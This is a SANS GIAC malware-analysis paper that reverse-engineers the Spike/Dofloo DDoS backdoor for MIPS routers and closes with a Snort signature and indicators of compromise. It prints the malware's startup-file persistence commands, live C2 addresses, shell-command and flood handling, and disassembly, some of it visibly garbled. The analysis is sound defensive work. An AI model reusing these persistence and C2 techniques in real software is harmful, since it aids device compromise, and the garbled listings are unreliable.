Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permitted without express written permission.

Interested in learning more?
Check out the list of upcoming events offering "Reverse-Engineering Malware: Malware Analysis Tools and Techniques (Forensics 610)" at http://www.giac.org/registration/grem
Analysis of a MIPS Malware

GIAC (GREM) Gold Certification

Author: Muhammad Junaid Bohio, mjbohio@gmail.com
Advisor: Richard Carbone

Accepted: March 19, 2015

Abstract

Malware functionalities have been evolving and so are their target platforms and architectures. Non-PC appliances of different architectures have not traditionally been frequent targets of malware. However, many of those appliances, due to their enhanced processing power and/or low maintenance, provide ideal targets for malware. Moreover, due to the lack of security for home routers, they often remain infected until replaced, thereby providing longer persistence for a malware. Recently, there has been a surge in malware for the MIPS and ARM architectures, targeting specific routers, DVRs, and other appliances. These network devices, in comparison, get less focus from vulnerability researchers and firmware patch application by end-users. This increases the risk of compromise and requires additional skills to cope with malware exploiting these platforms. This paper discusses various tools and techniques for reversing malware for the MIPS platform. We perform static and dynamic analysis of a MIPS malware, discuss its Command & Control mechanism, and provide detection of its network communication.
Acknowledgements

I would like to thank my advisor Richard Carbone for his valuable feedback and guidelines on this paper. Moreover, I also thank my employer TELUS Security Labs (telussecuritylabs.com) for providing me the tools and environment to perform research for this paper.
1. Introduction

MIPS (Multiprocessor without Interlocked Pipeline Stages) architecture is a Reduced Instruction Set Computing (RISC) technology that is widely used in embedded devices. As per the statistics mentioned in MIPS instruction set (n.d.) and MIPS architecture (n.d.), MIPS-based processors are routinely used in routers from Cisco, Linksys, Mikrotik, Cable/DSL modems, video gaming consoles from Sony and Nintendo, printers, set-top boxes, and more. The ARM (Advanced RISC Machines) architecture is the most widely used architecture in smart phones, TVs, set-top boxes, and mobile devices.

Malware produced for network devices have been far less in number compared to those produced for PCs. However, this number is growing. According to various sources (Infodox, 2011; Janus, 2011) the earliest known malware-targeting MIPS platform is Hydra – an open source botnet framework released in 2008. It was designed for extensibility and features both a spreading mechanism and DDoS functionality. In 2009, another malware, Psyb0t, was found in-the-wild targeting routers and high-speed modems. Its botnet, with an estimated 100,000 compromised devices, was then used in a DDoS attack against DroneBL, an IP blacklisting service (Psyb0t, 2013).

In 2010, an IRC bot named Chuck Norris was found infecting routers and DSL modems. In addition to spreading by brute forcing routers’ passwords, this malware also exploited an authentication bypass vulnerability in D-Link routers (McMillan, 2010). Another IRC bot named Tsunami supported various commands and modified the DNS server setting in the configuration of the infected devices (Janus, 2011). This trend has been observed in more recent malware as well and is effective in redirecting traffic to malicious servers controlled by attackers.

In 2012, another IRC bot named LightAidra was found. It supported several architectures including MIPS, MIPSEL, ARM, PPC, and SuperH (Fitsec, 2012). It exploited a D-Link router vulnerability and modified firewall settings using iptables. The source code of LightAidra is freely available on the Internet as an open source project. In 2013,
Symantec discovered a worm called *Darlloz* (Hayashi, 2013). This malware spread by exploiting a PHP vulnerability identified by CVE-2012-1823. It targeted various architectures including x86, ARM, MIPS, and PowerPC, thereby termed as an Internet of Things (IoT) Worm by Symantec (Hayashi, 2014). In order to block users from connecting to the infected device using Telnet, it drops Telnet traffic via *iptables* configuration and terminates the *telnetd* process. According to an investigation by Symantec (Hayashi, 2014), *Darlloz* compromised more than 31,000 devices by February 2014. Its newer variants supported mining of cryptocurrencies (Mincoins and Dogecoins) and exploited a default password on Hikvision DVR cameras (Ullrich, 2014b). An interesting aspect of the *Darlloz* worm is that it specifically targets rival worm *LightAidra*. *LightAidra* stores its process ID in various files including */var/run/.lightpid*, */var/run/.aidrapid*, and */var/run/lightpid*. The *Darlloz* worm attempts to terminate the processes whose PIDs are stored in the said files and deletes *LightAidra* files from the infected device (Blinka, 2014).

In February 2014, Dr. Johannes Ullrich of the SANS Technology Institute discovered a new worm called *TheMoon* (Ullrich, 2014a). This malware was specifically targeting Linksys routers. One known instance of this malware, MD5:A85E4A90A7B303155477EE1697995A43, can target the following specific router models: E4200, E3200, E2500, E300, WRT610N, E1000, E1200, E1500, E1550, E2000, and E3000 (Constantin, 2014). The malware exploits a command execution vulnerability when parsing the ‘*ttcp_ip*’ parameter value sent in a POST request. It downloads a copy of itself by running the *wget* command on the vulnerable router after exploiting the vulnerability. The malware was named after the Hollywood movie, ‘Moon,’ because it contains several strings such as Moon, Gerty, Lunar, Sam, and Jupiter that match various characters in the movie. These characters in the code perform various tasks such as analysis of the infected device, harvesting targets and sending fingerprinting/exploit requests, and keeping logs. In the same year, malware *Elknot* was found targeting x86, ARM, and MIPS platforms (Kernelmode.info Forum, 2013), whereas *GoARM/Ramgo* targeted the ARM architecture (Adrian, 2014b). Moreover, newer versions of the *BlackEnergy* Backdoor (that has been used in APT attacks in the past) have been found.

M. J. Bohio, mjbohio@gmail.com
using plugins that target both the ARM and MIPS platforms (Baumgartner & Garnaeva, 2014).

Around mid-2014, a Backdoor/DDoS malware that is known by different names including Spike, AES, and Dofloo DDoS malware was discovered. Samples of this malware have been found targeting 32-bit and 64-bit Linux and Windows platforms as well as MIPS and ARM architectures. A toolkit that generates samples of the Spike DDoS malware was analyzed by the Akamai PLXsert Team (Akamai, 2014), and its report states that several Akamai customers have been targeted by DDoS attacks launched from this botnet. The peak attack by the Spike DDoS botnet, according to Akamai, was 215 Gigabits per second (Gbps) and 150 million packets per second (Mpps) (Akamai, 2014). This malware has also been discussed on the Kernelmode.info forum (Adrian, 2014a). In this paper, we analyze a sample of the Spike DDoS malware for the MIPS architecture and examine its commands, communication, and other operations.

2. Debugging Environment Setup

In order to analyze the malware binary for the MIPS architecture, the following tools were used:

- Oracle VM VirtualBox 4.3.7 r91406
- Ubuntu 12.04.4 LTS
- OpenWrt- Barrier Breaker (Bleeding Edge, r39584)
- Qemu 1.6.2
- IDA Pro 6.5.140116 (32-bit)
- Wireshark 1.10.5
- 010 Editor 3.0.4
- Python 2.7

After installing Ubuntu Linux on the Oracle VM VirtualBox, the OpenWrt Linux distribution was compiled and installed on the VM. OpenWrt also created the cross-
compiler toolchain that is required to run MIPS binaries. The firmware for Atheros AR71xx routers was selected with the OpenWrt installation.

After installing OpenWrt, Quick Emulator (QEMU) was installed in order to provide hardware virtualization for OpenWrt and to run MIPS binaries in the OpenWrt environment. The detailed guidelines for these installations are not in the scope of this paper but can be found in other resources (Craig, 2011; Võsandi, 2013). The QEMU installation created binaries for both LittleEndian (qemu-mipsel) and Big Endian (qemu-mips) modes. Since the malware sample under analysis is compiled in Little Endian format, qemu-mipsel was used to run it. This will be demonstrated in the next section.

The malware was run in both a controlled environment (Host-only Adapter) as well as with Internet access using the Bridged Adapter. The non-controlled environment was provided in order to capture live traffic from a control server.

3. Analysis of the Malware

The sample under analysis is a 32-bit Little Endian ELF binary for the MIPS architecture, also known as Backdoor Spike DDoS or Dofloo. This binary was statically compiled and left unstripped; as such it contains all of its strings and import function names. The binary’s MD5 hash is 99ccdc5772a827917ae6cc8e29c78aee. These attributes are shown in the following figure:

![Figure 1: md5sum and file attributes of the sample.](image)

M. J. Bohio, mjbohio@gmail.com
The analysis of this malware includes both its behavioral and technical analysis which will be described in this paper.

3.1 Behavioral Analysis

When the malware was first run in a restricted environment (host-only network) it did not perform any network communication. Upon providing it access to the Internet, the malware contacted its Command & Control (C2) server at IP address 60.169.80.91, port 48080/TCP. The malware sent out some system information and received some responses. It continued exchanging messages with its control server. Other than communicating with the control server, no other suspicious connections by the malware, such as any DDoS operations, were observed in the traffic. This will later be clarified when the server responses are parsed and interpreted in the following subsections.

3.2 Technical Analysis

On the Ubuntu VM where OpenWrt and QEMU were installed, the sample file name “99ccdc-spke” was run as shown in Figure 2:

![Sample run and waiting for the gdb connection.](image)

Among the above parameters, the “-E” parameter specifies the IP address of the system from which the IDA debugger will be attached to the malware process. The “-g” parameter with value “1234” puts the malware execution on hold until a debugger is attached to it on port 1234/TCP. On the remote system with IP address ‘192.168.56.1,’ the IDA debugger was configured to connect to the Ubuntu VM having IP address ‘192.168.56.101’ on port 1234. Once the attachment to the malware process was successful, the debugging session began.

M. J. Bohio, mjbohio@gmail.com
In this section, functions related to C2 operations, communication mechanisms, and malware persistence will be discussed. The important code instructions have been explained using comments on their right side; however, further information on MIPS instructions can be found in Frenzel (1998) and MIPS instruction set (n.d.).

When the malware is started, it checks if its command-line has any arguments. If none are found then it assumes it is running for the first time on the target system. It then calls function `_Z8autobootPc`, which attempts to run the following commands in order to set up system persistence (reboot survival):

```
sed -i -e '/exit/d' /etc/rc.local  
sed -i -e '/^\r|\r|n$\r/d' /etc/rc.local  
sed -i -e '/^\r|\r|n$/d' /etc/rc.local  
sed -i -e '2 i%s/%s' /etc/rc.local  
sed -i -e '2 i%s/%s start' /etc/rc.d/rc.local  
sed -i -e '2 i%s/%s start' /etc/init.d/boot.local
```

The main function of this malware calls function `'_Z14_ConnectServerv'` which connects to one of the C2 servers with IP address `60.169.80.91` and port `48080/TCP`. The information concerning this control server is stored in global variable `m_OnlineInfo` using a simple obfuscated format. The malware adds a constant value of `0x4E20 (20000)` to compute the actual aforementioned IP address and port. The following code/data snippets in Figures 3 and 4 demonstrate this behavior:

```
.mglobl m_OnlineInfo
.mglobl encode_url
m_OnlineInfo: .byte 0xFE  # |  # DATA XREF: ServerConnectC1l(void)+BCTo  
m_OnlineInfo: .byte 0x77  # |  # ServerConnectC1l(void)+ECTo
m_OnlineInfo: .byte 0x97  # |  # IP base value 0x5858581C + 0x4E20 = 0x5858583C (IP 60.169.80.91)
encode_url:  .word 0x5858581C  # |  # DATA XREF: ServerConnectC1l(void)+F4Tr
encode_url:  .word 0x6DB0  # |  # DATA XREF: ServerConnectC1l(void)+64Tr
.encode_url  .word 0x6DB0+0x4E20-0x8BDD (Port 48080)
```

Figure 3: `m_OnlineInfo` data structure.
If the malware cannot connect to the aforementioned control server, it may try connecting to another server with IP address **183.60.149.199** on the same port. However, it does not perform any obfuscation of this secondary control server’s IP address. This will be demonstrated while discussing one of the program threads (pthreads) started by the malware.

In function *main*, the malware sets some signals and creates the program threads as shown in Figure 5:

```
004B3B6A lui $a0, 0x40
004B3B6B addiu $a0, $0, (InfoUpdate - 0x400000)
004B3B6C move $a1, Zero
004B3B6E lui $a0, 0x61
004B3B6F addiu $a2, $0, (_Z8SendInfoPo - 0x16000) # SendInfo(void *)
004B3B70 move $a3, $0
004B3B71 jal pthread_create
004B3B72 lui $a0, 0x40
004B3B73 addiu $a0, $0, (back_doorA - 0x400000)
004B3B74 move $a1, $zero
004B3B76 lui $a0, 0x61
004B3B77 addiu $a2, $0, (_Z9backdoorAmp - 0x16000) # backdoorA(void *)
004B3B78 move $a3, $0
004B3B79 tbl pthread_create
004B3B7B lui $a0, 0x40
004B3B7C addiu $a0, $0, (back_doorM - 0x400000)
004B3B7D move $a1, $zero
004B3B7F lui $a0, 0x61
004B3B80 addiu $a2, $0, (_Z9backdoorMmp - 0x16000) # backdoorM(void *)
004B3B81 move $a3, $0
004B3B82 jal pthread_create
004B3B84 lui $a0, 0x40
004B3B85 jal _Z10getlocalipv # getlocalip(void)
004B3B86 lui $a0, 0x40
```

Figure 5: pthreads called in main function.

M. J. Bohio, mjbohio@gmail.com
The functionalities of the above threads are described in the following subsections.

3.2.1 ‘SendInfo’ thread

This thread is implemented in function ‘_Z8SendInfoPv’. It attempts to calculate the network/CPU speeds and periodically updates the control server about this information. This information is believed to be used by attackers to evaluate the operational capabilities of their bots and thus will assign DDoS tasks according to their CPU power and network bandwidth/speed.

This function also checks ifconfig information for Ethernet interfaces ranging from ‘eth0’ through ‘eth9’. It reads data from pseudo-file /proc/net/dev and computes network speed in Mbps. This file provides statistics on each network interface regarding the number of bytes sent/received, number of inbound/outbound packets, and more. Please refer to Figures 6, 7, and 8 which depict the code where this information is collected:

```assembly
 liable $0, 0x78+var_710($fp)
 sb $zero, 0x78+var_6E8($fp)
 sb $zero, 0x78+var_6E4($fp)
 addiu $v1, $fp, 0x78+var_6E4
 mov $a0, $v1
 li $a1, 2
 lui $a0, 0x4A
 addiu $a2, $v0, (aD - 0x4A0000) # "%d"
 lw $a3, 0x78+var_710($fp) # a3 = 0
 j $a3
 move $a0, $v0
 li $a1, 2
 jal strcat # Constructs "eth0"
 move $a1, $v0
 jal _Z11my_ipconfigPc # my_ipconfig(char *)
```

Figure 6: Construct interface ‘ethN’ and call my_ipconfig.
The malware also calculates the percentage of CPU usage by reading and processing values in /proc/stat. This pseudo-file keeps various statistics about the system since it was last run. The following figure shows two calls to a function that reads /proc/stat:
Next, Figure 10 shows a part of the code inside function “\_Z10get\_occupyP6occupy”:

```
004065A0 addiu $sp, -0x438
004065A4 sw $ra, 0x438+var_4($sp)
004065A8 sw $fp, 0x438+var_8($sp)
004065AC move $fp, $sp
004065B0 sw $a0, 0x438+arg_0($fp)
004065B4 lui $v0, 0x4A
004065BB addiu $a0, $v0, (aProcStat - 0x4A0000) # "/proc/stat"
004065BC lui $v0, 0x4A
004065C0 addiu $a1, $v0, (aR - 0x4A0000) # "r"
004065C4 jal open # Open file
```

Figure 10: Read /proc/stat.

The malware then prints the CPU usage percentage and network speed information into a pre-defined format. If the socket has been created, it sends out that data to its control server. Figure 11 demonstrates this behavior:

```
0040694C liu $v0, a_cpu_used # v0 = 0x3F800000
00406950 lui $t0, 0x4A
00406954 mfci $t0, $t1 # v1 = 0x3F800000
00406958 addiu $a0, $t1, 0x738+var_6E8 # [a0] - [0x738FFFFFF] = 0
0040695C addiu $a1, $t0, 0x738+var_780 # [a1] - [0x738FFFFFF] = "58.87 Mbps"
00406960 sw $a1, 0x738+var_728($sp)
00406964 la $a1, aInfo_0FS # "INFO: %0.2f\%ns"
00406968 move $a2, $v0 # a2 = 0
0040696C move $a3, $t1 # a3 = 0x0F000000
00406970 jal printf # prints "INFO: %0.2f\%s"
00406974 move $a2, $v0 # Check if socket has been created?
00406978 beqz $v0, loc_409580
```

Figure 11: Print INFO data and send to the server.

M. J. Bohio, mjbohio@gmail.com
The periodic speed information sent by this thread to its control server is shown in Figure 12 that represents the traffic captured through Wireshark:

![Figure 12: INFO packets sent by the malware.](image)

### 3.2.2 'backdoorA' Thread

This thread collects system information and sends it out to the control server. The information sent out by this thread includes OS Kernel version, CPU speed, total memory size, used memory size, and some hard-coded strings such as ‘VERSONEX’ and ‘Hacker.’ These strings have been observed in several samples of this malware family. The following figure shows the initial request captured through Wireshark:

![Figure showing initial request captured through Wireshark.](image)
Figure 13: backdoorA thread identifying to the server with system information.

This thread contains information about a secondary control server that could be contacted in case the primary control server is not available. The following figure shows the code containing IP and port number of the secondary control server:

```
00408b20 li $a0, 0xbbd0  # Port = 0xbbd0 (48080)
00408b24 jal ntohs
00408b28 nop
00408b2c sh $v0, 0xf8+var_b6($fp)
00408b30 li $v0, 2
00408b34 sh $v0, 0xf8+var_b8($fp)
00408b38 li $v0, 0xc7953cb7  # IP = 183.60.149.199
00408b40 sw $v0, 0xf8+var_b4($fp)
00408b44 li $v0, 1
00408b48 sw $v0, 0xf8+var_a4($fp)
00408b4c addiu $v0, $fp, 0xf8+var_a4
00408b50 lw $a0, 0xf8+var_d0($fp)
00408b54 li $a1, 0x667e
00408b58 move $a2, $v0
00408b5c jal ioctl
00408b60 nop
00408b64 addiu $v0, $fp, 0xf8+var_b8
00408b68 lw $a0, 0xf8+var_d0($fp)
00408b6c move $a1, $v0
00408b70 li $a2, 0x10
00408b74 jal connect  # Connect
00408b78 nop
```

Figure 14: Secondary control server’s IP and port information.
The following code snippet is used to construct and send the data shown above in Figure 13. The payload size of the packet is fixed to 0x400 (1024) bytes.

```
040958 lw      $a3, 0x1068+var_F8($fp)  # a3 = 1
04095c lw      $a2, 0x1068+var_F4($fp)  # a2 = 0x01E (3358)
040960 lw      $a1, 0x1068+var_F0($fp)  # a1 = 0x2EB (747)
040964 lw      $a0, 0x1068+var_EC($fp)  # a0 = 0x2A0 (672)
040968 addiu    $v1, $fp, 0x1068+var_1010  # v1 = 0x407FF540
04096c addiu    $v0, $fp, 0x1068+var_15C
040970 sw      $a0, 0x1068+var_1058($sp)
040974 sw      $a1, 0x1068+var_1054($sp)
040978 sw      $a2, 0x1068+var_1050($sp)
04097c sw      $a3, 0x1068+var_104C($sp)
040980 la      $a0, aHacker
040988 sw      $a0, 0x1068+var_1048($sp)
04098c nve     $a0, $v1  # Output buffer = 0x407FF540
040990 li      $a1, 0x400
040994 lui     $v1, 0x40
040998 addiu    $v2, $v1, (aVersionLinux0 - 0x400000)  # VERSOENX:Linux-3.11.0-15-generic
04099c nve     $v2, $v0  # [v3] = [0x400000F4] = "3.11.0-15-generic"
04099e jal     snsprintf  # snprintf
0409A0 nop
0409A4 lw      $v0, MainSocketA
0409A8 bnez    $v0, loc_4099C0
0409A4 nop
0409A8 j       loc_409E80
04098C nop   #--------------------------------------------
0409C0 loc_4099C0:    # CODE XREF: _ConnectServerA(void)+210fj
0409C0 lui     $v0, 0x40
0409C4 lw      $v1, MainSocketA
0409C8 addiu    $v0, $fp, 0x1068+var_1010
0409CC nve     $a0, $v1  # Data = "VERS0ENX:Linux-3.11.0-15-generic-mips|...."
0409D0 nve     $a1, $v0
0409D4 li      $a2, 0x400
0409D8 nve     $a3, $zero
0409DC jal     send  # Send
```

Figure 15: Print and send system information.

In response to the above request, the server sent the following command/data that is captured and parsed by Wireshark:

```
Analysis of a MIPS Malware

M. J. Bohio, mjbohio@gmail.com

© 2015 The SANS Institute
Author retains full rights.
In the above response, the first DWORD '07 00 00 00' is the command code. The payload size of the server response is 0x19D; however, the malware parses only the fixed size 0x19C (412) bytes of it. The command codes expected by this thread are 5, 6, and 7. The following code snippet demonstrates how the server response is received and parsed:
Figure 17: Server response parsing.

Thus, the commands supported by this thread are:

- CmdShell (0x05)
- DealwithDDoS (0x06)
- Kill a process OR continue (0x07)
Each of the above commands and its functionality are described in the following subsections.

### 3.2.2.1 CmdShell (0x05) Command

If the command code matches 0x05, the malware copies data after the first DWORD in the server response to a buffer. It then calls function "\_Z8CmdshellP8\_MSGHEAD\"," which then calls the ‘System’ function to execute a command. The malware locates the shell command at offset 0x100 (256) within the data part of the server response. The command string has to be Null-terminated, whereas the rest of the data in the server response was redundant and not used while executing command 0x05. The following code snippets demonstrate this behavior:

```
0040761C  # Cmdshell(_MSGHEAD =)
0040761C  globl \_Z8CmdshellP8\_MSGHEAD
0040761C \_Z8CmdshellP8\_MSGHEAD:    # CODE XREF: _ConnectServerA(void)+678\p
0040761C
0040761C  var_8 = -8
0040761C  var_4 = -4
0040761C  arg_0 = 0
0040761C  addiu $sp, -0x20
00407620  sw $ra, 0x20+var_4($sp)  |
00407624  sw $fp, 0x20+var_8($sp)
00407628  move $sp, $fp
0040762C  su $a0, 0x20+arg_0($fp)
00407630  lw $v0, 0x20+arg_0($fp)  # %0 gets pointer to data after command code
00407634  addiu $u0, 0x100
00407638  move $a0, $u0
0040763C  jal system          # Execute the command
00407640  nop  .
```

Figure 18: Call Cmdshell function.

```
004079DF  loc \_MPDFA:    # CODE XREF: _ConnectServerA(void)+A9C\j
004079DF  addiu $a0, $fp, 0x106A+var_C10
004079DF  addiu $t1, $fp, 0x106A+var_614
004079FC  li  $u0, 0x198
004079E0  move $a1, $u1
004079E4  move $a2, $u0
004079E8  jal nanopy  | # Copies 0x198 bytes after Command Code to a buffer
004079EC  nop
004079F0  addiu $u0, $fp, 0x106A+var_C10
004079F4  move $a0, $u0
004079F8  jal \_Z8CmdshellP8\_MSGHEAD     # Cmdshell(_MSGHEAD =)
004079FC  nop
```

Figure 19: Inside Cmdshell runs command at offset 0x100.

Since the control server did not send command 0x05 at the time of this research, a Python script (see Appendix A for details) was written by the author that listened for a message from the malware and sent the command 0x05. For this purpose, the response containing

M. J. Bohio, mjbohio@gmail.com
command 0x07, which was received earlier from the actual control server, was modified to command code 0x05 and a shell command at offset 0x100 (starting from the command data part) was sent to the malware. As a result of sending that command, the malware created a text file with the string that is written to it via the ‘echo’ shell command. The following figure demonstrates the shell command that was sent to the malware using the Python script:

![Figure 20: Modified response sent with Shell command.](image)

### 3.2.2.2 DealwithDDoS (0x06) Command

When command code 0x06 is found, the malware performs AES decryption of the data that is sent in the server response. It then performs expansion of the decryption key and then calls function ‘\_ZN3AES9InvCipherEPh’ or ‘AES::InvCipher(uchar *)’ in a loop. In each round, 16 bytes of data is decrypted. Once decryption is completed, the malware calls function ‘DealwithDDoS(_MSGHEAD *)’. The following code snippets are used in these operations:

M. J. Bohio, mjbohio@gmail.com
Based on the static code analysis, when the ‘DealwithDDoS’ function is started, it calls various flooding pthreads depending on the instructions received from the control server. Since at the time of this research the control server did not send DDoS command 0x06, the complete structure of this command is not known. The flooding attacks supported by this function are found in the following pthreads:

- TCP_Flood
- CC_Flood
- CC2_Flood
- CC3_Flood

The following code snippets show some of the pthreads started by the DDoS function:

```
00409570 loc_4009C70:              # CODE XREF: _ConnectServerA(void)+4114
00409570 lui $v0, 0x8D
00409574 li $v1, 2
00409578 sw $v1, 0x1008+var_C10  # Pointer to server data after command code
00409580 move $a0, $v0
00409584 lui $v0, 0x8D
00409588 addiu $v1, $v0, (key_0 - 0x400000)
00409594 jal _Z4AES002EP  # AES::AES(uchar *) << AES KeyExpansion/initialization
00409599 nop .

Figure 21: AES key expansion/initialization.

```

```
004095A0 move $a0, $v1
004095A4 move $a1, $v0
004095A8 jal _Z4AES001EP  # AES::AES(uchar *) << decrypts 16 bytes in each round
004095AC li $v0, 0x1008+var_1630($fp)
004095D4 addiu $v0, $t0
004095D8 sw $v0, 0x1008+var_1630($fp)
004095E4 addiu loc_4009D8  # CODE XREF: _ConnectServerA(void)+5701
004095E8 lw $v1, 0x1008+var_1630($fp)
004095EE li $v0, $t19
004095F8 addiu $v0, $t0
004095FA lui $v0, $t0
00409600 bnez $v0, loc_4009D8
0040960C nop
0040960E addiu $v1, $fp, 0x1008+var_47C
00409614 addiu $v0, $fp, 0x1008+var_789
0040961C move $a0, $v1
00409620 move $a0, $v0
0040962C li $a2, 0x198
00409630 jal memcpy  # Copies decrypted data to a buffer at 40800104
00409634 nop
00409636 addiu $v0, $fp, 0x1008+var_47C
0040963E move $a0, $v0
00409644 jal _Z4DealwithDDoSSP0_MSGHEAD  # DealwithDDoS(_MSGHEAD *)
0040964F nop

Figure 22: Decrypt DDoS command and call DealwithDDoS.

```

M. J. Bohio, mjbohio@gmail.com
Based on the static code analysis, in the case of **CC_Flood** (Figure 24) DDoS, the malware sends out HTTP GET requests until the ‘StopFlag’ is set to 1. The following are some of the headers used in building such requests:

M. J. Bohio, mjbohio@gmail.com
The CC2_Flood (Figure 25) and CC3_Flood (Figure 26) DDoS also send out HTTP GET requests with some minor differences. For example, headers used with CC2_Flood requests are as follows:

Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept: text/html, application/xhtml+xml, */*

3.2.2.3 Kill a Process or Continue (0x07) Command:

This command checks if the value of its ‘pid’ global variable is non-Null; then it attempts to terminate the process with that process ID. If the value is Null, the malware continues to the beginning of the loop and sends the next request to the server. Notice that the functionality of this command does not require a large amount of data (0x19C bytes) to be sent by the server. However, since the length of the received data is hard-coded in several places, the control server appears to be sending garbage data along with command 0x07. The following code snippet demonstrates the functionality of this command:
3.2.3 'backdoorM' Thread

This thread performs very similar functions to the ‘BackdoorA’ thread with the exception that it has one additional command 0x01. This command updates flag value ‘statM’ to zero. This flag found at the beginning of the function is used to determine whether to sleep for a certain amount of time or continue operations if it is zero. This is shown in the following figure:
3.2.4 Detection and Indicators of Compromise (IoC)

3.2.4.1 Traffic Detection

As described earlier, the first request sent out by the malware with system information has a fixed payload size of 0x400 (1024) bytes. This value can be checked as a ‘dsize’ value along with other patterns in a Snort signature. The following is a Snort signature that can be used to detect a malware request sent to its control server:

```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"SpikeDDoS Malware Detection"; dsize:1024; content:"VERSONEX\3a\"; nocase; offset:0; depth:9; content:"MHz\7c\"; nocase; distance:4; within:48; content:"MB\7C\"; nocase; distance:3; within:8; content:"\00 00 00 00 00 00\"; distance:32; within:32; classtype:Botnet; sid:1100110010; rev:1;)
```

The server response sent to the malware must also be at least 0x19C (412) bytes. The first 4 bytes are command codes including 1, 5, 6, and 7. A signature for the server response is also possible but since the malware request has several options for pattern detection, it is sufficient for traffic detection and would be more efficient compared to signature detection for the server response.

3.2.4.2 Indicators of Compromise (IoC)

When the malware is started, it checks the number of its command-line parameters. If it does not have any parameters, it calls function ‘_Z8autobootPc’. In this function the malware sets up its reboot survival mechanism. It attempts to add itself to the following files:

- /etc/rc.local
- /etc/rc.d/rc.local
- /etc/init.d/boot.local

In the case of /etc/rc.local, the malware removes any lines containing string “exit”. As a result of this, a line containing string “exit 0” was deleted from the /etc/rc.local file on the infected system. Furthermore, the malware also removes any empty lines from this...
file. Commands that perform these operations were previously examined. The malware then adds itself with parameter "reboot" to file /etc/rc.local as shown in the following:

```sh
#!/bin/sh -e
/home/username/openwrt/staging_dir/target-mips_34kc_uClibc-0.9.33.2/root-ar71xx/MalwareFileName reboot
#
# rc.local
# [...]truncated...]
```

In the case of /etc/rc.d/rc.local and /etc/init.d/boot.local an error occurred when passing a parameter pointer to the malware filename string. However, when the parameter was passed correctly by modifying register ‘a3’ value after instruction at address 0x0040AF40, the malware created the following entry in /etc/rc.d/rc.local with parameter "start". It uses the same format string for adding itself to /etc/init.d/boot.local as well, as shown below.

```sh
/home/username/openwrt/staging_dir/target-mips_34kc_uClibc-0.9.33.2/root-ar71xx/MalwareFileName reboot start
```

Please note that these target configuration files may not exist on all systems. The malware does not check for the existence of these files before attempting to write its command-line to them.

### 4. Debugging Challenges and Workarounds

The malware sample under analysis frequently uses forks and pthreads. As a result, multiple threads and instances of the malware are instantiated. In order to analyze such a code flow, gdb debugger provides various custom options such as setting follow-fork-mode and non-stop mode. However, through IDA Pro debugger these custom options for remote gdb debugging could not be enabled. As a workaround, a fork call in the main function was deactivated with NOP instructions. Figures 28 and 29 demonstrate the code
where the fork was disabled in order to continue debugging the subsequent operations of the malware:

```
00408370 00408370 loc_400370: # fork (00408370 50 AD 10 0C 00 00 00 00)
00408370 jal    fork
00408374 nop
00408376 sw $v0, 0xC0+var_ADDR($fp)
0040837C lw $v0, 0xC0+var_ADDR($fp)
00408380 sltu $v0, $zero, $v0
00408384 andi $v0, 0xFF
00408388 beqz $v0, loc_40039C
0040838C nop
```

Figure 29: Original code with fork call.

```
00408370 00408370 loc_400370: # Nop instructions (00408370 09 00 00 00 00 00 00 00)
00408370 nop
00408374 nop
00408376 sw $v0, 0xC0+var_ADDR($fp)
0040837C lw $v0, 0xC0+var_ADDR($fp)
00408380 sltu $v0, $zero, $v0
00408384 andi $v0, 0xFF
00408388 beqz $v0, loc_40039C
0040838C nop
```

Figure 30: Disabled fork call.

After bypassing the fork call and some flag checks, when the first ‘pthread’ call reached the ‘SendInfo’ function, the debugging session with IDA debugger was terminated. Since IDA Pro was configured to use `gdb` debugger for remote debugging of the MIPS binary, the default operation of `gdb` is the ‘stop-all’ (all threads stopped) mode. Whereas for debugging asynchronous multi-threaded code, it requires operating in the ‘non-stop’ mode to allow threads other than the debugged thread to continue running. With very limited command line options supported via IDA Pro Command-line for `gdb`, it could not be determined whether any other method could be used to enable these custom options for use of the `gdb` debugger via IDA Pro. To address this issue, it was attempted to use `gdb` directly and to configure it to operate in the `non-stop` mode. As such, an instance of `gdb` compiled for the MIPS architecture was used to attach to the malware sample running within QEMU. However, when `gdb` with the `non-stop` mode attempted to attach to the remote process, it presented the following error message stating that the remote

M. J. Bohio, mjbohio@gmail.com
process does not support the *non-stop* mode. Thus, this attempt was not successful either. Figure 31 depicts this error message:

![Non-stop mode attempt via MIPS gdb.]

Thus, for the debugging of threads, the binary was patched and pthread calls were replaced with direct function calls to thread functions. The following figure shows the modified calls to the thread functions:

```assembly
0040b3fc  li       $a0, 1
0040b400  jal      close
0040b404  nop
0040b408  li       $a0, 2
0040b40c  jal      close
0040b410  nop
0040b414  jal      _Z8SendInfoPu  # SendInfo(void *)
0040b418  nop
0040b41c  1loc_40b41c:  # CODE XREF: SendInfo(void *)+1C↑j
0040b44c  jal      _Z9backdoorAPu  # backdoorA(void *)
0040b450  nop
0040b454  jal      _Z9backdoorMPu  # backdoorM(void *)
0040b458  nop
0040b460  nop
0040b46c  nop
0040b470  nop
0040b474  nop
```

![Modified calls to thread functions.]

When each of the pthread functions was analyzed, it was found that they ran asynchronously in their respective infinite loops. However, certain information such as socket creation and the ability to start/stop certain operations are communicated through global flag variables. When asynchronous thread functions were executed in ‘*all-stop*’
mode, it required the modification of certain jump instructions in order to debug the subsequent function.

As described in MIPS instruction set (n.d.) and various other documentations, the J-type or Jump instructions on the 32-bit MIPS architecture are comprised of 6-bit Opcode/Instructions and 26-bit jump target addresses. Since a 32-bit address value can only be represented within 26-bits of a jump instruction, the address is divided by 4 before using it with a jump instruction. In order to modify a jump value to be used in a MIPS instruction, the following formula is used:

\[
\text{Operand Address (26-bits)} = \left( \text{target destination address} \right) / 4 = \text{quotient} \& \text{0x03FFFFFF}
\]

The ‘Operand Address’ of the jump target address is then prepended to the instruction opcode. The prepending is done in the Little Endian format due to the fact that the binary being analyzed is in Little Endian format. For example, the modified function call for pthread function ‘_Z8SendInfoPv’ in the aforementioned code is set to, in hexadecimal, ‘DF 25 10 0C’. The actual address of the ‘_Z8SendInfoPv’ function is 0x0040977C which is shown in the following code snippet:

```
0040977C  # SendInfo(void *)
0040977C .globl _Z8SendInfoPv
0040977C _Z8SendInfoPv:               # CODE XREF: _ConnectServerA(void)
   # main+150bp
0040977C    var_0   = -8
0040977C    var_h   = -4
0040977C    arg_0   =  0
0040977C    addiu $sp, -0x20
00409780     sw    $ra, 0x20+var_h($sp)
